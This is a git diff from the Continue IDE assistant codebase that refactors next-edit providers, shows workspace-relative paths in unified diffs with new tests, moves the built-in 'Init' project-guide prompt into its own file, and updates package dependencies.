diff --git a/core/nextEdit/NextEditProvider.ts b/core/nextEdit/NextEditProvider.ts
index 4d9216914..1150f5545 100644
--- a/core/nextEdit/NextEditProvider.ts
+++ b/core/nextEdit/NextEditProvider.ts
@@ -8,6 +8,7 @@ import { ContextRetrievalService } from "../autocomplete/context/ContextRetrieva
import { BracketMatchingService } from "../autocomplete/filtering/BracketMatchingService.js";
import { CompletionStreamer } from "../autocomplete/generation/CompletionStreamer.js";
+import { postprocessCompletion } from "../autocomplete/postprocessing/index.js";
import { shouldPrefilter } from "../autocomplete/prefiltering/index.js";
import { getAllSnippetsWithoutRace } from "../autocomplete/snippets/index.js";
import { AutocompleteCodeSnippet } from "../autocomplete/snippets/types.js";
@@ -415,6 +416,7 @@ export class NextEditProvider {
filePath: helper.filepath,
diffType: DiffFormatType.Unified,
contextLines: 3,
+ workspaceDir: workspaceDirs[0], // Use first workspace directory
}),
};
@@ -468,33 +470,53 @@ export class NextEditProvider {
}
// Extract completion using model-specific logic.
- const nextCompletion = this.modelProvider.extractCompletion(msg.content);
+ let nextCompletion = this.modelProvider.extractCompletion(msg.content);
+
+ // Postprocess the completion (same as autocomplete).
+ const postprocessed = postprocessCompletion({
+ completion: nextCompletion,
+ llm,
+ prefix: helper.prunedPrefix,
+ suffix: helper.prunedSuffix,
+ });
+
+ // Return early if postprocessing filtered out the completion.
+ if (!postprocessed) {
+ return undefined;
+ }
+
+ nextCompletion = postprocessed;
let outcome: NextEditOutcome | undefined;
// Handle based on diff type.
+ const profileType =
+ this.configHandler.currentProfile?.profileDescription.profileType;
+
if (opts?.usingFullFileDiff === false || !opts?.usingFullFileDiff) {
- outcome = await this.modelProvider.handlePartialFileDiff(
+ outcome = await this.modelProvider.handlePartialFileDiff({
helper,
editableRegionStartLine,
editableRegionEndLine,
startTime,
llm,
nextCompletion,
- this.promptMetadata!,
- this.ide,
- );
+ promptMetadata: this.promptMetadata!,
+ ide: this.ide,
+ profileType,
+ });
} else {
- outcome = await this.modelProvider.handleFullFileDiff(
+ outcome = await this.modelProvider.handleFullFileDiff({
helper,
editableRegionStartLine,
editableRegionEndLine,
startTime,
llm,
nextCompletion,
- this.promptMetadata!,
- this.ide,
- );
+ promptMetadata: this.promptMetadata!,
+ ide: this.ide,
+ profileType,
+ });
}
if (outcome) {
diff --git a/core/nextEdit/context/diffFormatting.ts b/core/nextEdit/context/diffFormatting.ts
index 38a76b051..773b05805 100644
--- a/core/nextEdit/context/diffFormatting.ts
+++ b/core/nextEdit/context/diffFormatting.ts
@@ -1,4 +1,5 @@
import { createPatch } from "diff";
+import { getUriPathBasename } from "../../util/uri";
export enum DiffFormatType {
Unified = "unified",
@@ -18,6 +19,7 @@ export interface CreateDiffArgs {
filePath: string;
diffType: DiffFormatType;
contextLines: number;
+ workspaceDir?: string;
}
export const createDiff = ({
@@ -26,6 +28,7 @@ export const createDiff = ({
filePath,
diffType,
contextLines,
+ workspaceDir,
}: CreateDiffArgs) => {
switch (diffType) {
case DiffFormatType.Unified:
@@ -34,6 +37,7 @@ export const createDiff = ({
afterContent,
filePath,
contextLines,
+ workspaceDir,
);
case DiffFormatType.TokenLineDiff:
return createTokenLineDiff(beforeContent, afterContent, filePath);
@@ -46,6 +50,7 @@ const createUnifiedDiff = (
afterContent: string,
filePath: string,
contextLines: number,
+ workspaceDir?: string,
) => {
const normalizedBefore = beforeContent.endsWith("\n")
? beforeContent
@@ -54,12 +59,21 @@ const createUnifiedDiff = (
? afterContent
: afterContent + "\n";
+ // Use relative path if workspace directory is provided
+ let displayPath = filePath;
+ if (workspaceDir && filePath.startsWith(workspaceDir)) {
+ displayPath = filePath.slice(workspaceDir.length).replace(/^[\/]/, "");
+ } else if (workspaceDir) {
+ // Fallback to just the basename if we can't determine relative path
+ displayPath = getUriPathBasename(filePath);
+ }
+
const patch = createPatch(
- filePath,
+ displayPath,
normalizedBefore,
normalizedAfter,
- "before",
- "after",
+ undefined,
+ undefined,
{ context: contextLines },
);
diff --git a/core/nextEdit/context/diffFormatting.vitest.ts b/core/nextEdit/context/diffFormatting.vitest.ts
index b010f7837..889059037 100644
--- a/core/nextEdit/context/diffFormatting.vitest.ts
+++ b/core/nextEdit/context/diffFormatting.vitest.ts
@@ -127,6 +127,72 @@ describe("diffFormatting", () => {
expect(result).toContain("@@ -4,5 +4,5 @@");
});
+
+ it("should use relative path when workspaceDir is provided", () => {
+ const args: CreateDiffArgs = {
+ beforeContent,
+ afterContent,
+ filePath: "file:///workspace/project/src/test.js",
+ diffType: DiffFormatType.Unified,
+ contextLines: 3,
+ workspaceDir: "file:///workspace/project",
+ };
+
+ const result = createDiff(args);
+
+ expect(result).toContain("--- src/test.js");
+ expect(result).toContain("+++ src/test.js");
+ expect(result).not.toContain("file://");
+ expect(result).not.toContain("/workspace/project");
+ });
+
+ it("should handle workspaceDir with trailing slash", () => {
+ const args: CreateDiffArgs = {
+ beforeContent,
+ afterContent,
+ filePath: "file:///workspace/project/src/test.js",
+ diffType: DiffFormatType.Unified,
+ contextLines: 3,
+ workspaceDir: "file:///workspace/project/",
+ };
+
+ const result = createDiff(args);
+
+ expect(result).toContain("--- src/test.js");
+ expect(result).toContain("+++ src/test.js");
+ });
+
+ it("should fallback to basename when path not in workspace", () => {
+ const args: CreateDiffArgs = {
+ beforeContent,
+ afterContent,
+ filePath: "file:///other/location/test.js",
+ diffType: DiffFormatType.Unified,
+ contextLines: 3,
+ workspaceDir: "file:///workspace/project",
+ };
+
+ const result = createDiff(args);
+
+ expect(result).toContain("--- test.js");
+ expect(result).toContain("+++ test.js");
+ });
+
+ it("should use full path when no workspaceDir provided", () => {
+ const fullPath = "file:///workspace/project/src/test.js";
+ const args: CreateDiffArgs = {
+ beforeContent,
+ afterContent,
+ filePath: fullPath,
+ diffType: DiffFormatType.Unified,
+ contextLines: 3,
+ };
+
+ const result = createDiff(args);
+
+ expect(result).toContain(`--- ${fullPath}`);
+ expect(result).toContain(`+++ ${fullPath}`);
+ });
});
describe("createBeforeAfterDiff", () => {
diff --git a/core/nextEdit/context/processNextEditData.ts b/core/nextEdit/context/processNextEditData.ts
index 2aa4adb79..8b6e41a82 100644
--- a/core/nextEdit/context/processNextEditData.ts
+++ b/core/nextEdit/context/processNextEditData.ts
@@ -140,6 +140,7 @@ export const processNextEditData = async ({
filePath: filePath,
diffType: DiffFormatType.Unified,
contextLines: 25, // storing many context lines for downstream trimming
+ workspaceDir: workspaceDir,
}),
fileUri: filePath,
workspaceUri: workspaceDir,
diff --git a/core/nextEdit/context/processSmallEdit.ts b/core/nextEdit/context/processSmallEdit.ts
index a98233cfe..c2fc85786 100644
--- a/core/nextEdit/context/processSmallEdit.ts
+++ b/core/nextEdit/context/processSmallEdit.ts
@@ -14,16 +14,6 @@ export const processSmallEdit = async (
getDefsFromLspFunction: GetLspDefinitionsFunction,
ide: IDE,
) => {
- NextEditProvider.getInstance().addDiffToContext(
- createDiff({
- beforeContent: beforeAfterdiff.beforeContent,
- afterContent: beforeAfterdiff.afterContent,
- filePath: beforeAfterdiff.filePath,
- diffType: DiffFormatType.Unified,
- contextLines: 5, // NOTE: This can change depending on experiments!
- }),
- );
-
// Get the current context data from the most recent message
const currentData = (EditAggregator.getInstance() as any)
.latestContextData || {
@@ -33,6 +23,17 @@ export const processSmallEdit = async (
recentlyVisitedRanges: [],
};
+ NextEditProvider.getInstance().addDiffToContext(
+ createDiff({
+ beforeContent: beforeAfterdiff.beforeContent,
+ afterContent: beforeAfterdiff.afterContent,
+ filePath: beforeAfterdiff.filePath,
+ diffType: DiffFormatType.Unified,
+ contextLines: 3, // NOTE: This can change depending on experiments!
+ workspaceDir: currentData.workspaceDir,
+ }),
+ );
+
void processNextEditData({
filePath: beforeAfterdiff.filePath,
beforeContent: beforeAfterdiff.beforeContent,
diff --git a/core/nextEdit/providers/BaseNextEditProvider.ts b/core/nextEdit/providers/BaseNextEditProvider.ts
index 2a0bea8ed..0c8fa2f62 100644
--- a/core/nextEdit/providers/BaseNextEditProvider.ts
+++ b/core/nextEdit/providers/BaseNextEditProvider.ts
@@ -47,16 +47,28 @@ export abstract class BaseNextEditModelProvider {
};
// Methods that can be used as default fallback.
- public async handlePartialFileDiff(
- helper: HelperVars,
- editableRegionStartLine: number,
- editableRegionEndLine: number,
- startTime: number,
- llm: ILLM,
- nextCompletion: string,
- promptMetadata: PromptMetadata,
- ide: IDE,
- ): Promise {
+ public async handlePartialFileDiff(params: {
+ helper: HelperVars;
+ editableRegionStartLine: number;
+ editableRegionEndLine: number;
+ startTime: number;
+ llm: ILLM;
+ nextCompletion: string;
+ promptMetadata: PromptMetadata;
+ ide: IDE;
+ profileType?: "local" | "platform" | "control-plane";
+ }): Promise {
+ const {
+ helper,
+ editableRegionStartLine,
+ editableRegionEndLine,
+ startTime,
+ llm,
+ nextCompletion,
+ promptMetadata,
+ ide,
+ profileType,
+ } = params;
const oldEditRangeSlice = helper.fileContents
.split("\n")
.slice(editableRegionStartLine, editableRegionEndLine + 1)
@@ -83,21 +95,34 @@ export abstract class BaseNextEditModelProvider {
originalEditableRange: oldEditRangeSlice,
diffLines: [],
ide,
+ profileType,
});
return outcome;
}
- public async handleFullFileDiff(
- helper: HelperVars,
- editableRegionStartLine: number,
- editableRegionEndLine: number,
- startTime: number,
- llm: ILLM,
- nextCompletion: string,
- promptMetadata: PromptMetadata,
- ide: IDE,
- ): Promise {
+ public async handleFullFileDiff(params: {
+ helper: HelperVars;
+ editableRegionStartLine: number;
+ editableRegionEndLine: number;
+ startTime: number;
+ llm: ILLM;
+ nextCompletion: string;
+ promptMetadata: PromptMetadata;
+ ide: IDE;
+ profileType?: "local" | "platform" | "control-plane";
+ }): Promise {
+ const {
+ helper,
+ editableRegionStartLine,
+ editableRegionEndLine,
+ startTime,
+ llm,
+ nextCompletion,
+ promptMetadata,
+ ide,
+ profileType,
+ } = params;
const fileSlice = helper.fileLines
.slice(editableRegionStartLine, editableRegionEndLine + 1)
.join("\n");
@@ -111,7 +136,7 @@ export abstract class BaseNextEditModelProvider {
const currentLine = helper.pos.line;
const prefetchQueue = PrefetchQueue.getInstance();
- const cursorLocalDiffGroup = await this.processDiffGroups(
+ const cursorLocalDiffGroup = await this.processDiffGroups({
diffGroups,
currentLine,
helper,
@@ -120,19 +145,21 @@ export abstract class BaseNextEditModelProvider {
prefetchQueue,
promptMetadata,
ide,
- );
+ profileType,
+ });
if (cursorLocalDiffGroup) {
- return await this.createOutcomeFromDiffGroup(
- cursorLocalDiffGroup,
+ return await this.createOutcomeFromDiffGroup({
+ diffGroup: cursorLocalDiffGroup,
helper,
startTime,
llm,
- helper.input.completionId,
- true,
+ completionId: helper.input.completionId,
+ isCurrentCursorGroup: true,
promptMetadata,
ide,
- );
+ profileType,
+ });
}
return undefined;
@@ -141,23 +168,35 @@ export abstract class BaseNextEditModelProvider {
/**
* Process diff groups and find the one containing the cursor.
*/
- private async processDiffGroups(
- diffGroups: DiffGroup[],
- currentLine: number,
- helper: HelperVars,
- startTime: number,
- llm: ILLM,
- prefetchQueue: PrefetchQueue,
- promptMetadata: PromptMetadata,
- ide: IDE,
- ): Promise {
+ private async processDiffGroups(params: {
+ diffGroups: DiffGroup[];
+ currentLine: number;
+ helper: HelperVars;
+ startTime: number;
+ llm: ILLM;
+ prefetchQueue: PrefetchQueue;
+ promptMetadata: PromptMetadata;
+ ide: IDE;
+ profileType?: "local" | "platform" | "control-plane";
+ }): Promise {
+ const {
+ diffGroups,
+ currentLine,
+ helper,
+ startTime,
+ llm,
+ prefetchQueue,
+ promptMetadata,
+ ide,
+ profileType,
+ } = params;
let cursorGroup: DiffGroup | undefined;
for (const group of diffGroups) {
if (currentLine >= group.startLine && currentLine <= group.endLine) {
cursorGroup = group;
} else {
- await this.addDiffGroupToPrefetchQueue(
+ await this.addDiffGroupToPrefetchQueue({
group,
helper,
startTime,
@@ -165,22 +204,34 @@ export abstract class BaseNextEditModelProvider {
prefetchQueue,
promptMetadata,
ide,
- );
+ profileType,
+ });
}
}
return cursorGroup;
}
- private async addDiffGroupToPrefetchQueue(
- group: DiffGroup,
- helper: HelperVars,
- startTime: number,
- llm: ILLM,
- prefetchQueue: PrefetchQueue,
- promptMetadata: PromptMetadata,
- ide: IDE,
- ): Promise {
+ private async addDiffGroupToPrefetchQueue(params: {
+ group: DiffGroup;
+ helper: HelperVars;
+ startTime: number;
+ llm: ILLM;
+ prefetchQueue: PrefetchQueue;
+ promptMetadata: PromptMetadata;
+ ide: IDE;
+ profileType?: "local" | "platform" | "control-plane";
+ }): Promise {
+ const {
+ group,
+ helper,
+ startTime,
+ llm,
+ prefetchQueue,
+ promptMetadata,
+ ide,
+ profileType,
+ } = params;
// Extract lines that are not old.
const groupContent = group.lines
.filter((l) => l.type !== "old")
@@ -223,6 +274,7 @@ export abstract class BaseNextEditModelProvider {
completionId: uuidv4(), // Generate a new ID for this prefetched item.
diffLines: group.lines,
ide,
+ profileType,
});
prefetchQueue.enqueueProcessed({
@@ -231,16 +283,28 @@ export abstract class BaseNextEditModelProvider {
});
}
- private async createOutcomeFromDiffGroup(
- diffGroup: DiffGroup,
- helper: HelperVars,
- startTime: number,
- llm: ILLM,
- completionId: string,
- isCurrentCursorGroup: boolean,
- promptMetadata: PromptMetadata,
- ide: IDE,
- ): Promise {
+ private async createOutcomeFromDiffGroup(params: {
+ diffGroup: DiffGroup;
+ helper: HelperVars;
+ startTime: number;
+ llm: ILLM;
+ completionId: string;
+ isCurrentCursorGroup: boolean;
+ promptMetadata: PromptMetadata;
+ ide: IDE;
+ profileType?: "local" | "platform" | "control-plane";
+ }): Promise {
+ const {
+ diffGroup,
+ helper,
+ startTime,
+ llm,
+ completionId,
+ isCurrentCursorGroup,
+ promptMetadata,
+ ide,
+ profileType,
+ } = params;
const groupContent = diffGroup.lines
.filter((l) => l.type !== "old")
.map((l) => l.line)
@@ -278,6 +342,7 @@ export abstract class BaseNextEditModelProvider {
completionId,
diffLines: diffGroup.lines,
ide,
+ profileType,
});
return outcomeNext;
@@ -299,6 +364,7 @@ export abstract class BaseNextEditModelProvider {
completionId?: string;
diffLines: DiffLine[];
ide: IDE;
+ profileType?: "local" | "platform" | "control-plane";
}): Promise {
return {
elapsed: Date.now() - outcomeCtx.startTime,
@@ -309,6 +375,7 @@ export abstract class BaseNextEditModelProvider {
outcomeCtx.completionId || outcomeCtx.helper.input.completionId,
gitRepo: await outcomeCtx.ide.getRepoName(outcomeCtx.helper.filepath),
uniqueId: await outcomeCtx.ide.getUniqueId(),
+ requestId: outcomeCtx.llm.lastRequestId,
timestamp: Date.now(),
fileUri: outcomeCtx.helper.filepath,
workspaceDirUri:
@@ -324,6 +391,7 @@ export abstract class BaseNextEditModelProvider {
editableRegionStartLine: outcomeCtx.editableRegionStartLine,
editableRegionEndLine: outcomeCtx.editableRegionEndLine,
diffLines: outcomeCtx.diffLines,
+ profileType: outcomeCtx.profileType,
...outcomeCtx.helper.options,
};
}
diff --git a/core/nextEdit/providers/MercuryCoderNextEditProvider.ts b/core/nextEdit/providers/MercuryCoderNextEditProvider.ts
index 3d234a559..49527c84e 100644
--- a/core/nextEdit/providers/MercuryCoderNextEditProvider.ts
+++ b/core/nextEdit/providers/MercuryCoderNextEditProvider.ts
@@ -43,7 +43,7 @@ export class MercuryCoderProvider extends BaseNextEditModelProvider {
// Extract the code between the markdown code blocks.
return message.slice(
message.indexOf("```\n") + "```\n".length,
- message.lastIndexOf("\n\n```"),
+ message.lastIndexOf("\n```"),
);
}
diff --git a/core/nextEdit/types.ts b/core/nextEdit/types.ts
index 8d08f8216..2d742c697 100644
--- a/core/nextEdit/types.ts
+++ b/core/nextEdit/types.ts
@@ -50,6 +50,7 @@ export interface NextEditOutcome extends TabAutocompleteOptions {
completionId: string;
gitRepo?: string;
uniqueId: string;
+ requestId?: string;
timestamp: number;
// New for Next Edit.
@@ -67,6 +68,7 @@ export interface NextEditOutcome extends TabAutocompleteOptions {
editableRegionStartLine: number;
editableRegionEndLine: number;
diffLines: DiffLine[];
+ profileType?: "local" | "platform" | "control-plane";
}
export interface PromptMetadata {
diff --git a/core/package-lock.json b/core/package-lock.json
index 48c1cb090..57518a6eb 100644
--- a/core/package-lock.json
+++ b/core/package-lock.json
@@ -9,6 +9,7 @@
"version": "1.1.0",
"license": "Apache-2.0",
"dependencies": {
+ "@anthropic-ai/sdk": "^0.62.0",
"@aws-sdk/client-bedrock-runtime": "^3.779.0",
"@aws-sdk/client-sagemaker-runtime": "^3.777.0",
"@aws-sdk/credential-providers": "^3.778.0",
@@ -75,6 +76,7 @@
"system-ca": "^1.0.3",
"tar": "^7.4.3",
"tree-sitter-wasms": "^0.1.11",
+ "untildify": "^6.0.0",
"uuid": "^9.0.1",
"vectordb": "^0.4.20",
"web-tree-sitter": "^0.21.0",
@@ -152,7 +154,7 @@
},
"../packages/config-yaml": {
"name": "@continuedev/config-yaml",
- "version": "1.14.0",
+ "version": "1.23.0",
"license": "Apache-2.0",
"dependencies": {
"@continuedev/config-types": "^1.0.14",
@@ -201,7 +203,7 @@
},
"../packages/llm-info": {
"name": "@continuedev/llm-info",
- "version": "1.0.9",
+ "version": "1.0.10",
"license": "Apache-2.0",
"devDependencies": {
"@semantic-release/changelog": "^6.0.3",
@@ -215,14 +217,15 @@
},
"../packages/openai-adapters": {
"name": "@continuedev/openai-adapters",
- "version": "1.14.0",
+ "version": "1.15.0",
"license": "Apache-2.0",
"dependencies": {
+ "@anthropic-ai/sdk": "^0.62.0",
"@aws-sdk/client-bedrock-runtime": "^3.842.0",
"@aws-sdk/credential-providers": "^3.840.0",
"@continuedev/config-types": "^1.0.14",
"@continuedev/config-yaml": "^1.14.0",
- "@continuedev/fetch": "^1.1.0",
+ "@continuedev/fetch": "^1.5.0",
"dotenv": "^16.5.0",
"google-auth-library": "^10.1.0",
"json-schema": "^0.4.0",
@@ -297,6 +300,15 @@
"node": ">=6.0.0"
}
},
+ "node_modules/@anthropic-ai/sdk": {
+ "version": "0.62.0",
+ "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.62.0.tgz",
+ "integrity": "sha512-gT2VFKX0gSp7KJNlav/vzRFjJOPYDZxCJRx7MYUc+fqURc5aS6OI/UJeD2KytJkjsIWv0OOwH1ePc1S5QE2GZw==",
+ "license": "MIT",
+ "bin": {
+ "anthropic-ai-sdk": "bin/cli"
+ }
+ },
"node_modules/@apache-arrow/ts": {
"version": "14.0.2",
"resolved": "https://registry.npmjs.org/@apache-arrow/ts/-/ts-14.0.2.tgz",
@@ -16353,9 +16365,9 @@
}
},
"node_modules/prebuild-install/node_modules/tar-fs": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.3.tgz",
- "integrity": "sha512-090nwYJDmlhwFwEW3QQl+vaNnxsO2yVsd45eTKRBzSzu+hlb1w2K9inVq5b0ngXuLVqQ4ApvsUHHnu/zQNkWAg==",
+ "version": "2.1.4",
+ "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz",
+ "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==",
"license": "MIT",
"dependencies": {
"chownr": "^1.1.1",
@@ -18312,9 +18324,9 @@
}
},
"node_modules/tar-fs": {
- "version": "3.0.9",
- "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-3.0.9.tgz",
- "integrity": "sha512-XF4w9Xp+ZQgifKakjZYmFdkLoSWd34VGKcsTCwlNWM7QG3ZbaxnTsaBwnjFZqHRf/rROxaR8rXnbtwdvaDI+lA==",
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-3.1.1.tgz",
+ "integrity": "sha512-LZA0oaPOc2fVo82Txf3gw+AkEd38szODlptMYejQUhndHMLQ9M059uXR+AfS7DNo0NpINvSqDsvyaCrBVkptWg==",
"license": "MIT",
"dependencies": {
"pump": "^3.0.0",
@@ -19196,6 +19208,17 @@
"webpack-virtual-modules": "^0.5.0"
}
},
+ "node_modules/untildify": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/untildify/-/untildify-6.0.0.tgz",
+ "integrity": "sha512-sA2YTBvW2F463GvSbiZtso+dpuQV+B7xX9saX30SGrR5Fyx4AUcvA/zN+ShAkABKUKVyDaHECsJrHv5ToTuHsQ==",
+ "engines": {
+ "node": ">=20"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
"node_modules/update-browserslist-db": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz",
diff --git a/core/package.json b/core/package.json
index db53c661a..e86f1095f 100644
--- a/core/package.json
+++ b/core/package.json
@@ -54,6 +54,7 @@
"vitest": "^3.1.4"
},
"dependencies": {
+ "@anthropic-ai/sdk": "^0.62.0",
"@aws-sdk/client-bedrock-runtime": "^3.779.0",
"@aws-sdk/client-sagemaker-runtime": "^3.777.0",
"@aws-sdk/credential-providers": "^3.778.0",
@@ -120,6 +121,7 @@
"system-ca": "^1.0.3",
"tar": "^7.4.3",
"tree-sitter-wasms": "^0.1.11",
+ "untildify": "^6.0.0",
"uuid": "^9.0.1",
"vectordb": "^0.4.20",
"web-tree-sitter": "^0.21.0",
diff --git a/core/promptFiles/getPromptFiles.ts b/core/promptFiles/getPromptFiles.ts
index 8ca4f1966..da6628d2f 100644
--- a/core/promptFiles/getPromptFiles.ts
+++ b/core/promptFiles/getPromptFiles.ts
@@ -1,86 +1,15 @@
-import { DEFAULT_PROMPTS_FOLDER_V1 } from ".";
+import path from "path";
+import {
+ DEFAULT_PROMPTS_FOLDER_V1,
+ DEFAULT_PROMPTS_FOLDER_V2,
+ DEFAULT_RULES_FOLDER,
+ RULES_DIR_NAME,
+} from ".";
import { IDE } from "..";
import { walkDir } from "../indexing/walkDir";
-import { readAllGlobalPromptFiles } from "../util/paths";
+import { getContinueGlobalPath, readAllGlobalPromptFiles } from "../util/paths";
import { joinPathsToUri } from "../util/uri";
-// The hardcoded init prompt content
-const INIT_PROMPT_CONTENT = `name: Init
-description: Initialize Codebase
----
-You are an expert development assistant. Your task is to create a comprehensive CONTINUE.md project guide for the user's codebase to help them and their team better understand and work with the project.
-
-## Step 1: Check Required Tools
-First, verify that you have access to the necessary tools:
-- builtin_file_glob_search: To discover project files
-- builtin_read_file: To analyze file contents
-- builtin_ls: To explore directory structure
-- builtin_create_new_file: To generate the CONTINUE.md file
-
-If any of these tools are unavailable, inform the user that they need to activate them and enable "Agent Mode" in Continue before proceeding.
-
-## Step 2: Project Analysis
-Analyze the project structure and key files to understand:
-- The programming languages and frameworks used
-- The overall architecture and organization
-- Key components and their responsibilities
-- Important configuration files
-- Build/deployment system
-
-## Step 3: Generate CONTINUE.md
-Create a comprehensive CONTINUE.md file in the .continue/rules/ directory with the following sections:
-
-1. **Project Overview**
- - Brief description of the project's purpose
- - Key technologies used
- - High-level architecture
-
-2. **Getting Started**
- - Prerequisites (required software, dependencies)
- - Installation instructions
- - Basic usage examples
- - Running tests
-
-3. **Project Structure**
- - Overview of main directories and their purpose
- - Key files and their roles
- - Important configuration files
-
-4. **Development Workflow**
- - Coding standards or conventions
- - Testing approach
- - Build and deployment process
- - Contribution guidelines
-
-5. **Key Concepts**
- - Domain-specific terminology
- - Core abstractions
- - Design patterns used
-
-6. **Common Tasks**
- - Step-by-step guides for frequent development tasks
- - Examples of common operations
-
-7. **Troubleshooting**
- - Common issues and their solutions
- - Debugging tips
-
-8. **References**
- - Links to relevant documentation
- - Important resources
-
-Make sure your analysis is thorough but concise. Focus on information that would be most helpful to developers working on the project. If certain information isn't available from the codebase, make reasonable assumptions but mark these sections as needing verification.
-
-## Step 4: Finalize
-After creating the .continue/rules/CONTINUE.md file, provide a summary of what you've created and remind the user to:
-1. Review and edit the file as needed
-2. Commit it to their repository to share with their team
-3. Explain that Continue will automatically load this file into context when working with the project
-
-Also inform the user that they can create additional rules.md files in subdirectories for more specific documentation related to those components.`;
-
-export const DEFAULT_PROMPTS_FOLDER_V2 = ".continue/prompts";
-
export async function getPromptFilesFromDir(
ide: IDE,
dir: string,
@@ -95,7 +24,9 @@ export async function getPromptFilesFromDir(
const uris = await walkDir(dir, ide, {
source: "get dir prompt files",
});
- const promptFilePaths = uris.filter((p) => p.endsWith(".prompt"));
+ const promptFilePaths = uris.filter(
+ (p) => p.endsWith(".prompt") || p.endsWith(".md"),
+ );
const results = promptFilePaths.map(async (uri) => {
const content = await ide.readFile(uri); // make a try catch
return { path: uri, content };
@@ -115,7 +46,7 @@ export async function getAllPromptFiles(
const workspaceDirs = await ide.getWorkspaceDirs();
let promptFiles: { path: string; content: string }[] = [];
- let dirsToCheck = [DEFAULT_PROMPTS_FOLDER_V2];
+ let dirsToCheck = [DEFAULT_PROMPTS_FOLDER_V2, DEFAULT_RULES_FOLDER];
if (checkV1DefaultFolder) {
dirsToCheck.push(DEFAULT_PROMPTS_FOLDER_V1);
}
@@ -131,22 +62,19 @@ export async function getAllPromptFiles(
await Promise.all(fullDirs.map((dir) => getPromptFilesFromDir(ide, dir)))
).flat();
- // Also read from ~/.continue/.prompts
+ // Also read from ~/.continue/prompts and ~/.continue/rules
promptFiles.push(...readAllGlobalPromptFiles());
- // Add hardcoded init prompt
- promptFiles.push({
- path: "builtin:/init.prompt",
- content: INIT_PROMPT_CONTENT,
- });
+ const promptFilesFromRulesDirectory = readAllGlobalPromptFiles(
+ path.join(getContinueGlobalPath(), RULES_DIR_NAME),
+ );
+ promptFiles.push(...promptFilesFromRulesDirectory);
- return await Promise.all(
+ const result = await Promise.all(
promptFiles.map(async (file) => {
- if (file.path.startsWith("builtin:")) {
- return file;
- }
const content = await ide.readFile(file.path);
return { path: file.path, content };
}),
);
+ return result;
}
diff --git a/core/promptFiles/index.ts b/core/promptFiles/index.ts
index ee5fb6b84..58be45fe8 100644
--- a/core/promptFiles/index.ts
+++ b/core/promptFiles/index.ts
@@ -2,6 +2,11 @@ import { ContextProviderName } from "..";
export const DEFAULT_PROMPTS_FOLDER_V1 = ".prompts";
export const DEFAULT_PROMPTS_FOLDER_V2 = ".continue/prompts";
+export const DEFAULT_RULES_FOLDER = ".continue/rules";
+
+// Subdirectory names (without .continue/ prefix)
+export const RULES_DIR_NAME = "rules";
+export const PROMPTS_DIR_NAME = "prompts";
export const SUPPORTED_PROMPT_CONTEXT_PROVIDERS: ContextProviderName[] = [
"file",
diff --git a/core/promptFiles/initPrompt.ts b/core/promptFiles/initPrompt.ts
new file mode 100644
index 000000000..f436d6e43
--- /dev/null
+++ b/core/promptFiles/initPrompt.ts
@@ -0,0 +1,86 @@
+import { SlashCommandWithSource } from "..";
+import { RULES_MARKDOWN_FILENAME } from "../llm/rules/constants";
+import { BuiltInToolNames } from "../tools/builtIn";
+
+const initFilename = "CONTINUE.md";
+
+// Prompt for init slash command
+export const INIT_PROMPT_CONTENT = `
+You are an expert development assistant. Your task is to create a comprehensive ${initFilename} project guide for the user's codebase to help them and their team better understand and work with the project.
+
+## Step 1: Check Required Tools
+First, verify that you have access to the necessary tools:
+- ${BuiltInToolNames.FileGlobSearch}: To discover project files
+- ${BuiltInToolNames.ReadFile}: To analyze file contents
+- ${BuiltInToolNames.LSTool}: To explore directory structure
+- ${BuiltInToolNames.CreateNewFile}: To generate the ${initFilename} file
+
+If any of these tools are unavailable, inform the user that they need to activate them and enable "Agent Mode" in Continue before proceeding.
+
+## Step 2: Project Analysis
+Analyze the project structure and key files to understand:
+- The programming languages and frameworks used
+- The overall architecture and organization
+- Key components and their responsibilities
+- Important configuration files
+- Build/deployment system
+
+## Step 3: Generate ${initFilename}
+Create a comprehensive ${initFilename} file in the .continue/rules/ directory with the following sections:
+
+1. **Project Overview**
+ - Brief description of the project's purpose
+ - Key technologies used
+ - High-level architecture
+
+2. **Getting Started**
+ - Prerequisites (required software, dependencies)
+ - Installation instructions
+ - Basic usage examples
+ - Running tests
+
+3. **Project Structure**
+ - Overview of main directories and their purpose
+ - Key files and their roles
+ - Important configuration files
+
+4. **Development Workflow**
+ - Coding standards or conventions
+ - Testing approach
+ - Build and deployment process
+ - Contribution guidelines
+
+5. **Key Concepts**
+ - Domain-specific terminology
+ - Core abstractions
+ - Design patterns used
+
+6. **Common Tasks**
+ - Step-by-step guides for frequent development tasks
+ - Examples of common operations
+
+7. **Troubleshooting**
+ - Common issues and their solutions
+ - Debugging tips
+
+8. **References**
+ - Links to relevant documentation
+ - Important resources
+
+Make sure your analysis is thorough but concise. Focus on information that would be most helpful to developers working on the project. If certain information isn't available from the codebase, make reasonable assumptions but mark these sections as needing verification.
+
+## Step 4: Finalize
+After creating the .continue/rules/${initFilename} file, provide a summary of what you've created and remind the user to:
+1. Review and edit the file as needed
+2. Commit it to their repository to share with their team
+3. Explain that Continue will automatically load this file into context when working with the project
+
+Also inform the user that they can create additional ${RULES_MARKDOWN_FILENAME} files in subdirectories for more specific documentation related to those components.
+`.trim();
+
+export const initSlashCommand: SlashCommandWithSource = {
+ name: "Init",
+ description: "Initialize Codebase",
+ source: "built-in",
+ prompt: INIT_PROMPT_CONTENT,
+};
diff --git a/core/protocol/core.ts b/core/protocol/core.ts
index cd977f581..b03b0e11a 100644
--- a/core/protocol/core.ts
+++ b/core/protocol/core.ts
@@ -14,6 +14,7 @@ import { SharedConfigSchema } from "../config/sharedConfig";
import { GlobalContextModelSelections } from "../util/GlobalContext";
import {
+ BaseSessionMetadata,
BrowserSerializedContinueConfig,
ChatMessage,
CompiledMessagesResult,
@@ -27,7 +28,6 @@ import {
FileSymbolMap,
